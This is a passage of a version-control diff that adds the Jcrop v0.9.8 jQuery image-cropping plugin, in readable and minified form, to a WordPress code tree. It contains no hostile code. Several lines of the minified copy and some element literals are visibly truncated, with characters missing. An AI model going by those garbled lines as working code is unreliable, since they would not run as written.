x1 + ox) ox -= ox + x1; + if (0 > y1 + oy) oy -= oy + y1; + + if (boundy < y2 + oy) oy += boundy - (y2 + oy); + if (boundx < x2 + ox) ox += boundx - (x2 + ox); + + x1 += ox; + x2 += ox; + y1 += oy; + y2 += oy; + }; + /*}}}*/ + function getCorner(ord)/*{{{*/ + { + var c = getFixed(); + switch(ord) + { + case 'ne': return [ c.x2, c.y ]; + case 'nw': return [ c.x, c.y ]; + case 'se': return [ c.x2, c.y2 ]; + case 'sw': return [ c.x, c.y2 ]; + } + }; + /*}}}*/ + function getFixed()/*{{{*/ + { + if (!options.aspectRatio) return getRect(); + // This function could use some optimization I think... + var aspect = options.aspectRatio, + min_x = options.minSize[0]/xscale, + min_y = options.minSize[1]/yscale, + max_x = options.maxSize[0]/xscale, + max_y = options.maxSize[1]/yscale, + rw = x2 - x1, + rh = y2 - y1, + rwa = Math.abs(rw), + rha = Math.abs(rh), + real_ratio = rwa / rha, + xx, yy + ; + if (max_x == 0) { max_x = boundx * 10 } + if (max_y == 0) { max_y = boundy * 10 } + if (real_ratio < aspect) + { + yy = y2; + w = rha * aspect; + xx = rw < 0 ? x1 - w : w + x1; + + if (xx < 0) + { + xx = 0; + h = Math.abs((xx - x1) / aspect); + yy = rh < 0 ? y1 - h: h + y1; + } + else if (xx > boundx) + { + xx = boundx; + h = Math.abs((xx - x1) / aspect); + yy = rh < 0 ? y1 - h : h + y1; + } + } + else + { + xx = x2; + h = rwa / aspect; + yy = rh < 0 ? y1 - h : y1 + h; + if (yy < 0) + { + yy = 0; + w = Math.abs((yy - y1) * aspect); + xx = rw < 0 ? x1 - w : w + x1; + } + else if (yy > boundy) + { + yy = boundy; + w = Math.abs(yy - y1) * aspect; + xx = rw < 0 ? x1 - w : w + x1; + } + } + + // Magic %-) + if(xx > x1) { // right side + if(xx - x1 < min_x) { + xx = x1 + min_x; + } else if (xx - x1 > max_x) { + xx = x1 + max_x; + } + if(yy > y1) { + yy = y1 + (xx - x1)/aspect; + } else { + yy = y1 - (xx - x1)/aspect; + } + } else if (xx < x1) { // left side + if(x1 - xx < min_x) { + xx = x1 - min_x + } else if (x1 - xx > max_x) { + xx = x1 - max_x; + } + if(yy > y1) { + yy = y1 + (x1 - xx)/aspect; + } else { + yy = y1 - (x1 - xx)/aspect; + } + } + + if(xx < 0) { + x1 -= xx; + xx = 0; + } else if (xx > boundx) { + x1 -= xx - boundx; + xx = boundx; + } + + if(yy < 0) { + y1 -= yy; + yy = 0; + } else if (yy > boundy) { + y1 -= yy - boundy; + yy = boundy; + } + + return last = makeObj(flipCoords(x1,y1,xx,yy)); + }; + /*}}}*/ + function rebound(p)/*{{{*/ + { + if (p[0] < 0) p[0] = 0; + if (p[1] < 0) p[1] = 0; + + if (p[0] > boundx) p[0] = boundx; + if (p[1] > boundy) p[1] = boundy; + + return [ p[0], p[1] ]; + }; + /*}}}*/ + function flipCoords(x1,y1,x2,y2)/*{{{*/ + { + var xa = x1, xb = x2, ya = y1, yb = y2; + if (x2 < x1) + { + xa = x2; + xb = x1; + } + if (y2 < y1) + { + ya = y2; + yb = y1; + } + return [ Math.round(xa), Math.round(ya), Math.round(xb), Math.round(yb) ]; + }; + /*}}}*/ + function getRect()/*{{{*/ + { + var xsize = x2 - x1; + var ysize = y2 - y1; + + if (xlimit && (Math.abs(xsize) > xlimit)) + x2 = (xsize > 0) ? (x1 + xlimit) : (x1 - xlimit); + if (ylimit && (Math.abs(ysize) > ylimit)) + y2 = (ysize > 0) ? (y1 + ylimit) : (y1 - ylimit); + + if (ymin && (Math.abs(ysize) < ymin)) + y2 = (ysize > 0) ? (y1 + ymin) : (y1 - ymin); + if (xmin && (Math.abs(xsize) < xmin)) + x2 = (xsize > 0) ? (x1 + xmin) : (x1 - xmin); + + if (x1 < 0) { x2 -= x1; x1 -= x1; } + if (y1 < 0) { y2 -= y1; y1 -= y1; } + if (x2 < 0) { x1 -= x2; x2 -= x2; } + if (y2 < 0) { y1 -= y2; y2 -= y2; } + if (x2 > boundx) { var delta = x2 - boundx; x1 -= delta; x2 -= delta; } + if (y2 > boundy) { var delta = y2 - boundy; y1 -= delta; y2 -= delta; } + if (x1 > boundx) { var delta = x1 - boundy; y2 -= delta; y1 -= delta; } + if (y1 > boundy) { var delta = y1 - boundy; y2 -= delta; y1 -= delta; } + + return makeObj(flipCoords(x1,y1,x2,y2)); + }; + /*}}}*/ + function makeObj(a)/*{{{*/ + { + return { x: a[0], y: a[1], x2: a[2], y2: a[3], + w: a[2] - a[0], h: a[3] - a[1] }; + }; + /*}}}*/ + + return { + flipCoords: flipCoords, + setPressed: setPressed, + setCurrent: setCurrent, + getOffset: getOffset, + moveOffset: moveOffset, + getCorner: getCorner, + getFixed: getFixed + }; + }(); + + /*}}}*/ + var Selection = function()/*{{{*/ + { + var start, end, dragmode, awake, hdep = 370; + var borders = { }; + var handle = { }; + var seehandles = false; + var hhs = options.handleOffset; + + /* Insert draggable elements {{{*/ + + // Insert border divs for outline + if (options.drawBorders) { + borders = { + top: insertBorder('hline') + .css('top',$.browser.msie?px(-1):px(0)), + bottom: insertBorder('hline'), + left: insertBorder('vline'), + right: insertBorder('vline') + }; + } + + // Insert handles on edges + if (options.dragEdges) { + handle.t = insertDragbar('n'); + handle.b = insertDragbar('s'); + handle.r = insertDragbar('e'); + handle.l = insertDragbar('w'); + } + + // Insert side handles + options.sideHandles && + createHandles(['n','s','e','w']); + + // Insert corner handles + options.cornerHandles && + createHandles(['sw','nw','ne','se']); + + /*}}}*/ + // Private Methods + function insertBorder(type)/*{{{*/ + { + var jq = $('
    ') + .css({position: 'absolute', opacity: options.borderOpacity }) + .addClass(cssClass(type)); + $img_holder.append(jq); + return jq; + }; + /*}}}*/ + function dragDiv(ord,zi)/*{{{*/ + { + var jq = $('
    ') + .mousedown(createDragger(ord)) + .css({ + cursor: ord+'-resize', + position: 'absolute', + zIndex: zi + }) + ; + $hdl_holder.append(jq); + return jq; + }; + /*}}}*/ + function insertHandle(ord)/*{{{*/ + { + return dragDiv(ord,hdep++) + .css({ top: px(-hhs+1), left: px(-hhs+1), opacity: options.handleOpacity }) + .addClass(cssClass('handle')); + }; + /*}}}*/ + function insertDragbar(ord)/*{{{*/ + { + var s = options.handleSize, + o = hhs, + h = s, w = s, + t = o, l = o; + + switch(ord) + { + case 'n': case 's': w = pct(100); break; + case 'e': case 'w': h = pct(100); break; + } + + return dragDiv(ord,hdep++).width(w).height(h) + .css({ top: px(-t+1), left: px(-l+1)}); + }; + /*}}}*/ + function createHandles(li)/*{{{*/ + { + for(i in li) handle[li[i]] = insertHandle(li[i]); + }; + /*}}}*/ + function moveHandles(c)/*{{{*/ + { + var midvert = Math.round((c.h / 2) - hhs), + midhoriz = Math.round((c.w / 2) - hhs), + north = west = -hhs+1, + east = c.w - hhs, + south = c.h - hhs, + x, y; + + 'e' in handle && + handle.e.css({ top: px(midvert), left: px(east) }) && + handle.w.css({ top: px(midvert) }) && + handle.s.css({ top: px(south), left: px(midhoriz) }) && + handle.n.css({ left: px(midhoriz) }); + + 'ne' in handle && + handle.ne.css({ left: px(east) }) && + handle.se.css({ top: px(south), left: px(east) }) && + handle.sw.css({ top: px(south) }); + + 'b' in handle && + handle.b.css({ top: px(south) }) && + handle.r.css({ left: px(east) }); + }; + /*}}}*/ + function moveto(x,y)/*{{{*/ + { + $img2.css({ top: px(-y), left: px(-x) }); + $sel.css({ top: px(y), left: px(x) }); + }; + /*}}}*/ + function resize(w,h)/*{{{*/ + { + $sel.width(w).height(h); + }; + /*}}}*/ + function refresh()/*{{{*/ + { + var c = Coords.getFixed(); + + Coords.setPressed([c.x,c.y]); + Coords.setCurrent([c.x2,c.y2]); + + updateVisible(); + }; + /*}}}*/ + + // Internal Methods + function updateVisible()/*{{{*/ + { if (awake) return update(); }; + /*}}}*/ + function update()/*{{{*/ + { + var c = Coords.getFixed(); + + resize(c.w,c.h); + moveto(c.x,c.y); + + options.drawBorders && + borders['right'].css({ left: px(c.w-1) }) && + borders['bottom'].css({ top: px(c.h-1) }); + + seehandles && moveHandles(c); + awake || show(); + + options.onChange(unscale(c)); + }; + /*}}}*/ + function show()/*{{{*/ + { + $sel.show(); + $img.css('opacity',options.bgOpacity); + awake = true; + }; + /*}}}*/ + function release()/*{{{*/ + { + disableHandles(); + $sel.hide(); + $img.css('opacity',1); + awake = false; + }; + /*}}}*/ + function showHandles()//{{{ + { + if (seehandles) + { + moveHandles(Coords.getFixed()); + $hdl_holder.show(); + } + }; + //}}} + function enableHandles()/*{{{*/ + { + seehandles = true; + if (options.allowResize) + { + moveHandles(Coords.getFixed()); + $hdl_holder.show(); + return true; + } + }; + /*}}}*/ + function disableHandles()/*{{{*/ + { + seehandles = false; + $hdl_holder.hide(); + }; + /*}}}*/ + function animMode(v)/*{{{*/ + { + (animating = v) ? disableHandles(): enableHandles(); + }; + /*}}}*/ + function done()/*{{{*/ + { + animMode(false); + refresh(); + }; + /*}}}*/ + + var $track = newTracker().mousedown(createDragger('move')) + .css({ cursor: 'move', position: 'absolute', zIndex: 360 }) + + $img_holder.append($track); + disableHandles(); + + return { + updateVisible: updateVisible, + update: update, + release: release, + refresh: refresh, + setCursor: function (cursor) { $track.css('cursor',cursor); }, + enableHandles: enableHandles, + enableOnly: function() { seehandles = true; }, + showHandles: showHandles, + disableHandles: disableHandles, + animMode: animMode, + done: done + }; + }(); + /*}}}*/ + var Tracker = function()/*{{{*/ + { + var onMove = function() { }, + onDone = function() { }, + trackDoc = options.trackDocument; + + if (!trackDoc) + { + $trk + .mousemove(trackMove) + .mouseup(trackUp) + .mouseout(trackUp) + ; + } + + function toFront()/*{{{*/ + { + $trk.css({zIndex:450}); + if (trackDoc) + { + $(document) + .mousemove(trackMove) + .mouseup(trackUp) + ; + } + } + /*}}}*/ + function toBack()/*{{{*/ + { + $trk.css({zIndex:290}); + if (trackDoc) + { + $(document) + .unbind('mousemove',trackMove) + .unbind('mouseup',trackUp) + ; + } + } + /*}}}*/ + function trackMove(e)/*{{{*/ + { + onMove(mouseAbs(e)); + }; + /*}}}*/ + function trackUp(e)/*{{{*/ + { + e.preventDefault(); + e.stopPropagation(); + + if (btndown) + { + btndown = false; + + onDone(mouseAbs(e)); + options.onSelect(unscale(Coords.getFixed())); + toBack(); + onMove = function() { }; + onDone = function() { }; + } + + return false; + }; + /*}}}*/ + + function activateHandlers(move,done)/* {{{ */ + { + btndown = true; + onMove = move; + onDone = done; + toFront(); + return false; + }; + /* }}} */ + + function setCursor(t) { $trk.css('cursor',t); }; + + $img.before($trk); + return { + activateHandlers: activateHandlers, + setCursor: setCursor + }; + }(); + /*}}}*/ + var KeyManager = function()/*{{{*/ + { + var $keymgr = $('') + .css({ position: 'absolute', left: '-30px' }) + .keypress(parseKey) + .blur(onBlur), + + $keywrap = $('
    ') + .css({ + position: 'absolute', + overflow: 'hidden' + }) + .append($keymgr) + ; + + function watchKeys()/*{{{*/ + { + if (options.keySupport) + { + $keymgr.show(); + $keymgr.focus(); + } + }; + /*}}}*/ + function onBlur(e)/*{{{*/ + { + $keymgr.hide(); + }; + /*}}}*/ + function doNudge(e,x,y)/*{{{*/ + { + if (options.allowMove) { + Coords.moveOffset([x,y]); + Selection.updateVisible(); + }; + e.preventDefault(); + e.stopPropagation(); + }; + /*}}}*/ + function parseKey(e)/*{{{*/ + { + if (e.ctrlKey) return true; + shift_down = e.shiftKey ? true : false; + var nudge = shift_down ? 10 : 1; + switch(e.keyCode) + { + case 37: doNudge(e,-nudge,0); break; + case 39: doNudge(e,nudge,0); break; + case 38: doNudge(e,0,-nudge); break; + case 40: doNudge(e,0,nudge); break; + + case 27: Selection.release(); break; + + case 9: return true; + } + + return nothing(e); + }; + /*}}}*/ + + if (options.keySupport) $keywrap.insertBefore($img); + return { + watchKeys: watchKeys + }; + }(); + /*}}}*/ + + // }}} + // Internal Methods {{{ + + function px(n) { return '' + parseInt(n) + 'px'; }; + function pct(n) { return '' + parseInt(n) + '%'; }; + function cssClass(cl) { return options.baseClass + '-' + cl; }; + function getPos(obj)/*{{{*/ + { + // Updated in v0.9.4 to use built-in dimensions plugin + var pos = $(obj).offset(); + return [ pos.left, pos.top ]; + }; + /*}}}*/ + function mouseAbs(e)/*{{{*/ + { + return [ (e.pageX - docOffset[0]), (e.pageY - docOffset[1]) ]; + }; + /*}}}*/ + function myCursor(type)/*{{{*/ + { + if (type != lastcurs) + { + Tracker.setCursor(type); + //Handles.xsetCursor(type); + lastcurs = type; + } + }; + /*}}}*/ + function startDragMode(mode,pos)/*{{{*/ + { + docOffset = getPos($img); + Tracker.setCursor(mode=='move'?mode:mode+'-resize'); + + if (mode == 'move') + return Tracker.activateHandlers(createMover(pos), doneSelect); + + var fc = Coords.getFixed(); + var opp = oppLockCorner(mode); + var opc = Coords.getCorner(oppLockCorner(opp)); + + Coords.setPressed(Coords.getCorner(opp)); + Coords.setCurrent(opc); + + Tracker.activateHandlers(dragmodeHandler(mode,fc),doneSelect); + }; + /*}}}*/ + function dragmodeHandler(mode,f)/*{{{*/ + { + return function(pos) { + if (!options.aspectRatio) switch(mode) + { + case 'e': pos[1] = f.y2; break; + case 'w': pos[1] = f.y2; break; + case 'n': pos[0] = f.x2; break; + case 's': pos[0] = f.x2; break; + } + else switch(mode) + { + case 'e': pos[1] = f.y+1; break; + case 'w': pos[1] = f.y+1; break; + case 'n': pos[0] = f.x+1; break; + case 's': pos[0] = f.x+1; break; + } + Coords.setCurrent(pos); + Selection.update(); + }; + }; + /*}}}*/ + function createMover(pos)/*{{{*/ + { + var lloc = pos; + KeyManager.watchKeys(); + + return function(pos) + { + Coords.moveOffset([pos[0] - lloc[0], pos[1] - lloc[1]]); + lloc = pos; + + Selection.update(); + }; + }; + /*}}}*/ + function oppLockCorner(ord)/*{{{*/ + { + switch(ord) + { + case 'n': return 'sw'; + case 's': return 'nw'; + case 'e': return 'nw'; + case 'w': return 'ne'; + case 'ne': return 'sw'; + case 'nw': return 'se'; + case 'se': return 'nw'; + case 'sw': return 'ne'; + }; + }; + /*}}}*/ + function createDragger(ord)/*{{{*/ + { + return function(e) { + if (options.disabled) return false; + if ((ord == 'move') && !options.allowMove) return false; + btndown = true; + startDragMode(ord,mouseAbs(e)); + e.stopPropagation(); + e.preventDefault(); + return false; + }; + }; + /*}}}*/ + function presize($obj,w,h)/*{{{*/ + { + var nw = $obj.width(), nh = $obj.height(); + if ((nw > w) && w > 0) + { + nw = w; + nh = (w/$obj.width()) * $obj.height(); + } + if ((nh > h) && h > 0) + { + nh = h; + nw = (h/$obj.height()) * $obj.width(); + } + xscale = $obj.width() / nw; + yscale = $obj.height() / nh; + $obj.width(nw).height(nh); + }; + /*}}}*/ + function unscale(c)/*{{{*/ + { + return { + x: parseInt(c.x * xscale), y: parseInt(c.y * yscale), + x2: parseInt(c.x2 * xscale), y2: parseInt(c.y2 * yscale), + w: parseInt(c.w * xscale), h: parseInt(c.h * yscale) + }; + }; + /*}}}*/ + function doneSelect(pos)/*{{{*/ + { + var c = Coords.getFixed(); + if (c.w > options.minSelect[0] && c.h > options.minSelect[1]) + { + Selection.enableHandles(); + Selection.done(); + } + else + { + Selection.release(); + } + Tracker.setCursor( options.allowSelect?'crosshair':'default' ); + }; + /*}}}*/ + function newSelection(e)/*{{{*/ + { + if (options.disabled) return false; + if (!options.allowSelect) return false; + btndown = true; + docOffset = getPos($img); + Selection.disableHandles(); + myCursor('crosshair'); + var pos = mouseAbs(e); + Coords.setPressed(pos); + Tracker.activateHandlers(selectDrag,doneSelect); + KeyManager.watchKeys(); + Selection.update(); + + e.stopPropagation(); + e.preventDefault(); + return false; + }; + /*}}}*/ + function selectDrag(pos)/*{{{*/ + { + Coords.setCurrent(pos); + Selection.update(); + }; + /*}}}*/ + function newTracker() + { + var trk = $('
    ').addClass(cssClass('tracker')); + $.browser.msie && trk.css({ opacity: 0, backgroundColor: 'white' }); + return trk; + }; + + // }}} + // API methods {{{ + + function animateTo(a)/*{{{*/ + { + var x1 = a[0] / xscale, + y1 = a[1] / yscale, + x2 = a[2] / xscale, + y2 = a[3] / yscale; + + if (animating) return; + + var animto = Coords.flipCoords(x1,y1,x2,y2); + var c = Coords.getFixed(); + var animat = initcr = [ c.x, c.y, c.x2, c.y2 ]; + var interv = options.animationDelay; + + var x = animat[0]; + var y = animat[1]; + var x2 = animat[2]; + var y2 = animat[3]; + var ix1 = animto[0] - initcr[0]; + var iy1 = animto[1] - initcr[1]; + var ix2 = animto[2] - initcr[2]; + var iy2 = animto[3] - initcr[3]; + var pcent = 0; + var velocity = options.swingSpeed; + + Selection.animMode(true); + + var animator = function() + { + return function() + { + pcent += (100 - pcent) / velocity; + + animat[0] = x + ((pcent / 100) * ix1); + animat[1] = y + ((pcent / 100) * iy1); + animat[2] = x2 + ((pcent / 100) * ix2); + animat[3] = y2 + ((pcent / 100) * iy2); + + if (pcent < 100) animateStart(); + else Selection.done(); + + if (pcent >= 99.8) pcent = 100; + + setSelectRaw(animat); + }; + }(); + + function animateStart() + { window.setTimeout(animator,interv); }; + + animateStart(); + }; + /*}}}*/ + function setSelect(rect)//{{{ + { + setSelectRaw([rect[0]/xscale,rect[1]/yscale,rect[2]/xscale,rect[3]/yscale]); + }; + //}}} + function setSelectRaw(l) /*{{{*/ + { + Coords.setPressed([l[0],l[1]]); + Coords.setCurrent([l[2],l[3]]); + Selection.update(); + }; + /*}}}*/ + function setOptions(opt)/*{{{*/ + { + if (typeof(opt) != 'object') opt = { }; + options = $.extend(options,opt); + + if (typeof(options.onChange)!=='function') + options.onChange = function() { }; + + if (typeof(options.onSelect)!=='function') + options.onSelect = function() { }; + + }; + /*}}}*/ + function tellSelect()/*{{{*/ + { + return unscale(Coords.getFixed()); + }; + /*}}}*/ + function tellScaled()/*{{{*/ + { + return Coords.getFixed(); + }; + /*}}}*/ + function setOptionsNew(opt)/*{{{*/ + { + setOptions(opt); + interfaceUpdate(); + }; + /*}}}*/ + function disableCrop()//{{{ + { + options.disabled = true; + Selection.disableHandles(); + Selection.setCursor('default'); + Tracker.setCursor('default'); + }; + //}}} + function enableCrop()//{{{ + { + options.disabled = false; + interfaceUpdate(); + }; + //}}} + function cancelCrop()//{{{ + { + Selection.done(); + Tracker.activateHandlers(null,null); + }; + //}}} + function destroy()//{{{ + { + $div.remove(); + $origimg.show(); + }; + //}}} + + function interfaceUpdate(alt)//{{{ + // This method tweaks the interface based on options object. + // Called when options are changed and at end of initialization. + { + options.allowResize ? + alt?Selection.enableOnly():Selection.enableHandles(): + Selection.disableHandles(); + + Tracker.setCursor( options.allowSelect? 'crosshair': 'default' ); + Selection.setCursor( options.allowMove? 'move': 'default' ); + + $div.css('backgroundColor',options.bgColor); + + if ('setSelect' in options) { + setSelect(opt.setSelect); + Selection.done(); + delete(options.setSelect); + } + + if ('trueSize' in options) { + xscale = options.trueSize[0] / boundx; + yscale = options.trueSize[1] / boundy; + } + + xlimit = options.maxSize[0] || 0; + ylimit = options.maxSize[1] || 0; + xmin = options.minSize[0] || 0; + ymin = options.minSize[1] || 0; + + if ('outerImage' in options) + { + $img.attr('src',options.outerImage); + delete(options.outerImage); + } + + Selection.refresh(); + }; + //}}} + + // }}} + + $hdl_holder.hide(); + interfaceUpdate(true); + + var api = { + animateTo: animateTo, + setSelect: setSelect, + setOptions: setOptionsNew, + tellSelect: tellSelect, + tellScaled: tellScaled, + + disable: disableCrop, + enable: enableCrop, + cancel: cancelCrop, + + focus: KeyManager.watchKeys, + + getBounds: function() { return [ boundx * xscale, boundy * yscale ]; }, + getWidgetSize: function() { return [ boundx, boundy ]; }, + + release: Selection.release, + destroy: destroy + + }; + + $origimg.data('Jcrop',api); + return api; +}; + +$.fn.Jcrop = function(options)/*{{{*/ +{ + function attachWhenDone(from)/*{{{*/ + { + var loadsrc = options.useImg || from.src; + var img = new Image(); + img.onload = function() { $.Jcrop(from,options); }; + img.src = loadsrc; + }; + /*}}}*/ + if (typeof(options) !== 'object') options = { }; + + // Iterate over each object, attach Jcrop + this.each(function() + { + // If we've already attached to this object + if ($(this).data('Jcrop')) + { + // The API can be requested this way (undocumented) + if (options == 'api') return $(this).data('Jcrop'); + // Otherwise, we just reset the options... + else $(this).data('Jcrop').setOptions(options); + } + // If we haven't been attached, preload and attach + else attachWhenDone(this); + }); + + // Return "this" so we're chainable a la jQuery plugin-style! + return this; +}; +/*}}}*/ + +})(jQuery); diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/js/jcrop/jquery.Jcrop.js --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-includes/js/jcrop/jquery.Jcrop.js Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,163 @@ +/** + * Jcrop v.0.9.8 (minimized) + * (c) 2008 Kelly Hallman and DeepLiquid.com + * More information: http://deepliquid.com/content/Jcrop.html + * Released under MIT License - this header must remain with code + */ + + +(function($){$.Jcrop=function(obj,opt) +{var obj=obj,opt=opt;if(typeof(obj)!=='object')obj=$(obj)[0];if(typeof(opt)!=='object')opt={};if(!('trackDocument'in opt)) +{opt.trackDocument=$.browser.msie?false:true;if($.browser.msie&&$.browser.version.split('.')[0]=='8') +opt.trackDocument=true;} +if(!('keySupport'in opt)) +opt.keySupport=$.browser.msie?false:true;var defaults={trackDocument:false,baseClass:'jcrop',addClass:null,bgColor:'black',bgOpacity:.6,borderOpacity:.4,handleOpacity:.5,handlePad:5,handleSize:9,handleOffset:5,edgeMargin:14,aspectRatio:0,keySupport:true,cornerHandles:true,sideHandles:true,drawBorders:true,dragEdges:true,boxWidth:0,boxHeight:0,boundary:8,animationDelay:20,swingSpeed:3,allowSelect:true,allowMove:true,allowResize:true,minSelect:[0,0],maxSize:[0,0],minSize:[0,0],onChange:function(){},onSelect:function(){}};var options=defaults;setOptions(opt);var $origimg=$(obj);var $img=$origimg.clone().removeAttr('id').css({position:'absolute'});$img.width($origimg.width());$img.height($origimg.height());$origimg.after($img).hide();presize($img,options.boxWidth,options.boxHeight);var boundx=$img.width(),boundy=$img.height(),$div=$('
    ').width(boundx).height(boundy).addClass(cssClass('holder')).css({position:'relative',backgroundColor:options.bgColor}).insertAfter($origimg).append($img);;if(options.addClass)$div.addClass(options.addClass);var $img2=$('').attr('src',$img.attr('src')).css('position','absolute').width(boundx).height(boundy);var $img_holder=$('
    ').width(pct(100)).height(pct(100)).css({zIndex:310,position:'absolute',overflow:'hidden'}).append($img2);var $hdl_holder=$('
    ').width(pct(100)).height(pct(100)).css('zIndex',320);var $sel=$('
    ').css({position:'absolute',zIndex:300}).insertBefore($img).append($img_holder,$hdl_holder);var bound=options.boundary;var $trk=newTracker().width(boundx+(bound*2)).height(boundy+(bound*2)).css({position:'absolute',top:px(-bound),left:px(-bound),zIndex:290}).mousedown(newSelection);var xlimit,ylimit,xmin,ymin;var xscale,yscale,enabled=true;var docOffset=getPos($img),btndown,lastcurs,dimmed,animating,shift_down;var Coords=function() +{var x1=0,y1=0,x2=0,y2=0,ox,oy;function setPressed(pos) +{var pos=rebound(pos);x2=x1=pos[0];y2=y1=pos[1];};function setCurrent(pos) +{var pos=rebound(pos);ox=pos[0]-x2;oy=pos[1]-y2;x2=pos[0];y2=pos[1];};function getOffset() +{return[ox,oy];};function moveOffset(offset) +{var ox=offset[0],oy=offset[1];if(0>x1+ox)ox-=ox+x1;if(0>y1+oy)oy-=oy+y1;if(boundyboundx) +{xx=boundx;h=Math.abs((xx-x1)/aspect);yy=rh<0?y1-h:h+y1;}} +else +{xx=x2;h=rwa/aspect;yy=rh<0?y1-h:y1+h;if(yy<0) +{yy=0;w=Math.abs((yy-y1)*aspect);xx=rw<0?x1-w:w+x1;} +else if(yy>boundy) +{yy=boundy;w=Math.abs(yy-y1)*aspect;xx=rw<0?x1-w:w+x1;}} +if(xx>x1){if(xx-x1max_x){xx=x1+max_x;} +if(yy>y1){yy=y1+(xx-x1)/aspect;}else{yy=y1-(xx-x1)/aspect;}}else if(xxmax_x){xx=x1-max_x;} +if(yy>y1){yy=y1+(x1-xx)/aspect;}else{yy=y1-(x1-xx)/aspect;}} +if(xx<0){x1-=xx;xx=0;}else if(xx>boundx){x1-=xx-boundx;xx=boundx;} +if(yy<0){y1-=yy;yy=0;}else if(yy>boundy){y1-=yy-boundy;yy=boundy;} +return last=makeObj(flipCoords(x1,y1,xx,yy));};function rebound(p) +{if(p[0]<0)p[0]=0;if(p[1]<0)p[1]=0;if(p[0]>boundx)p[0]=boundx;if(p[1]>boundy)p[1]=boundy;return[p[0],p[1]];};function flipCoords(x1,y1,x2,y2) +{var xa=x1,xb=x2,ya=y1,yb=y2;if(x2xlimit)) +x2=(xsize>0)?(x1+xlimit):(x1-xlimit);if(ylimit&&(Math.abs(ysize)>ylimit)) +y2=(ysize>0)?(y1+ylimit):(y1-ylimit);if(ymin&&(Math.abs(ysize)0)?(y1+ymin):(y1-ymin);if(xmin&&(Math.abs(xsize)0)?(x1+xmin):(x1-xmin);if(x1<0){x2-=x1;x1-=x1;} +if(y1<0){y2-=y1;y1-=y1;} +if(x2<0){x1-=x2;x2-=x2;} +if(y2<0){y1-=y2;y2-=y2;} +if(x2>boundx){var delta=x2-boundx;x1-=delta;x2-=delta;} +if(y2>boundy){var delta=y2-boundy;y1-=delta;y2-=delta;} +if(x1>boundx){var delta=x1-boundy;y2-=delta;y1-=delta;} +if(y1>boundy){var delta=y1-boundy;y2-=delta;y1-=delta;} +return makeObj(flipCoords(x1,y1,x2,y2));};function makeObj(a) +{return{x:a[0],y:a[1],x2:a[2],y2:a[3],w:a[2]-a[0],h:a[3]-a[1]};};return{flipCoords:flipCoords,setPressed:setPressed,setCurrent:setCurrent,getOffset:getOffset,moveOffset:moveOffset,getCorner:getCorner,getFixed:getFixed};}();var Selection=function() +{var start,end,dragmode,awake,hdep=370;var borders={};var handle={};var seehandles=false;var hhs=options.handleOffset;if(options.drawBorders){borders={top:insertBorder('hline').css('top',$.browser.msie?px(-1):px(0)),bottom:insertBorder('hline'),left:insertBorder('vline'),right:insertBorder('vline')};} +if(options.dragEdges){handle.t=insertDragbar('n');handle.b=insertDragbar('s');handle.r=insertDragbar('e');handle.l=insertDragbar('w');} +options.sideHandles&&createHandles(['n','s','e','w']);options.cornerHandles&&createHandles(['sw','nw','ne','se']);function insertBorder(type) +{var jq=$('
    ').css({position:'absolute',opacity:options.borderOpacity}).addClass(cssClass(type));$img_holder.append(jq);return jq;};function dragDiv(ord,zi) +{var jq=$('
    ').mousedown(createDragger(ord)).css({cursor:ord+'-resize',position:'absolute',zIndex:zi});$hdl_holder.append(jq);return jq;};function insertHandle(ord) +{return dragDiv(ord,hdep++).css({top:px(-hhs+1),left:px(-hhs+1),opacity:options.handleOpacity}).addClass(cssClass('handle'));};function insertDragbar(ord) +{var s=options.handleSize,o=hhs,h=s,w=s,t=o,l=o;switch(ord) +{case'n':case's':w=pct(100);break;case'e':case'w':h=pct(100);break;} +return dragDiv(ord,hdep++).width(w).height(h).css({top:px(-t+1),left:px(-l+1)});};function createHandles(li) +{for(i in li)handle[li[i]]=insertHandle(li[i]);};function moveHandles(c) +{var midvert=Math.round((c.h/2)-hhs),midhoriz=Math.round((c.w/2)-hhs),north=west=-hhs+1,east=c.w-hhs,south=c.h-hhs,x,y;'e'in handle&&handle.e.css({top:px(midvert),left:px(east)})&&handle.w.css({top:px(midvert)})&&handle.s.css({top:px(south),left:px(midhoriz)})&&handle.n.css({left:px(midhoriz)});'ne'in handle&&handle.ne.css({left:px(east)})&&handle.se.css({top:px(south),left:px(east)})&&handle.sw.css({top:px(south)});'b'in handle&&handle.b.css({top:px(south)})&&handle.r.css({left:px(east)});};function moveto(x,y) +{$img2.css({top:px(-y),left:px(-x)});$sel.css({top:px(y),left:px(x)});};function resize(w,h) +{$sel.width(w).height(h);};function refresh() +{var c=Coords.getFixed();Coords.setPressed([c.x,c.y]);Coords.setCurrent([c.x2,c.y2]);updateVisible();};function updateVisible() +{if(awake)return update();};function update() +{var c=Coords.getFixed();resize(c.w,c.h);moveto(c.x,c.y);options.drawBorders&&borders['right'].css({left:px(c.w-1)})&&borders['bottom'].css({top:px(c.h-1)});seehandles&&moveHandles(c);awake||show();options.onChange(unscale(c));};function show() +{$sel.show();$img.css('opacity',options.bgOpacity);awake=true;};function release() +{disableHandles();$sel.hide();$img.css('opacity',1);awake=false;};function showHandles() +{if(seehandles) +{moveHandles(Coords.getFixed());$hdl_holder.show();}};function enableHandles() +{seehandles=true;if(options.allowResize) +{moveHandles(Coords.getFixed());$hdl_holder.show();return true;}};function disableHandles() +{seehandles=false;$hdl_holder.hide();};function animMode(v) +{(animating=v)?disableHandles():enableHandles();};function done() +{animMode(false);refresh();};var $track=newTracker().mousedown(createDragger('move')).css({cursor:'move',position:'absolute',zIndex:360}) +$img_holder.append($track);disableHandles();return{updateVisible:updateVisible,update:update,release:release,refresh:refresh,setCursor:function(cursor){$track.css('cursor',cursor);},enableHandles:enableHandles,enableOnly:function(){seehandles=true;},showHandles:showHandles,disableHandles:disableHandles,animMode:animMode,done:done};}();var Tracker=function() +{var onMove=function(){},onDone=function(){},trackDoc=options.trackDocument;if(!trackDoc) +{$trk.mousemove(trackMove).mouseup(trackUp).mouseout(trackUp);} +function toFront() +{$trk.css({zIndex:450});if(trackDoc) +{$(document).mousemove(trackMove).mouseup(trackUp);}} +function toBack() +{$trk.css({zIndex:290});if(trackDoc) +{$(document).unbind('mousemove',trackMove).unbind('mouseup',trackUp);}} +function trackMove(e) +{onMove(mouseAbs(e));};function trackUp(e) +{e.preventDefault();e.stopPropagation();if(btndown) +{btndown=false;onDone(mouseAbs(e));options.onSelect(unscale(Coords.getFixed()));toBack();onMove=function(){};onDone=function(){};} 